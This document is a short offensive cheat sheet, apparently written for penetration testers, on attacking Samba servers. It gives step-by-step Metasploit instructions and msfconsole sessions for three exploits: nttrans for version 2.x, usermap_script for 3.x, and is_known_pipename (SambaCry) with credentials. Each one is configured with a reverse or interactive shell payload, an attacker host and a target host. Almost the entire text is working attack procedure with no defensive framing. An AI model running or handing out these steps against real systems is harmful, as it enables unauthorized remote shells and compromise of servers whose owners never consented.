TTP – Samba Attacks

Without Credentials:

- Conduct NMAP Scan (typically responds on 139 or 445)
    - If service version 2.x
        - Use exploit/multi/samba/nttrans
        - set payload cmd/unix/reverse
        - set rport {listening port for Samba (e.g. 139 or 445)}
        - set lhost {your IP}
        - set rhost {tgt_ip}
        - exploit

```
msf > use exploit/multi/samba/nttrans
msf exploit(nttrans) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(nttrans) > set rport 139
rport => 139
msf exploit(nttrans) > set lhost 192.168.2.1
lhost => 192.168.2.1
msf exploit(nttrans) > set rhost 10.0.4.2
rhost => 10.0.4.2
msf exploit(nttrans) >
```

    - If service version is 3.x
        - Use exploit/multi/samba/usermap_script
        - set payload cmd/unix/reverse
        - set rport {listening port for Samba (e.g. 139 or 445)}
        - set lhost {your IP}
        - set rhost {tgt_ip}
        - exploit

```
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(usermap_script) > set rport 445
rport => 445
msf exploit(usermap_script) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf exploit(usermap_script) > set rhost 10.1.23.1
rhost => 10.1.23.1
msf exploit(usermap_script) >
```

With Valid Credentials:

- Conduct NMAP Scan (typically responds on 139 or 445)

TTP – Samba Attacks

- Configure SambaCry via MSFConsole:
  - Use exploit/linux/samba/is_known_pipename
  - set payload cmd/unix/interact
  - set smbuser
  - set smbpass
  - set rport {listening port for Samba (e.g. 139 or 445)}
  - set lhost {your IP}
  - set rhost {tgt_ip}
  - exploit

```
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(is_known_pipename) > set smbuser jsmith
smbuser => jsmith
msf exploit(is_known_pipename) > set smbpass MyPassword1$
smbpass => MyPassword1$
msf exploit(is_known_pipename) > set rport 445
rport => 445
msf exploit(is_known_pipename) > set lhost 10.15.2.34
lhost => 10.15.2.34
msf exploit(is_known_pipename) > set rhost 10.2.30.24
rhost => 10.2.30.24
msf exploit(is_known_pipename) >
```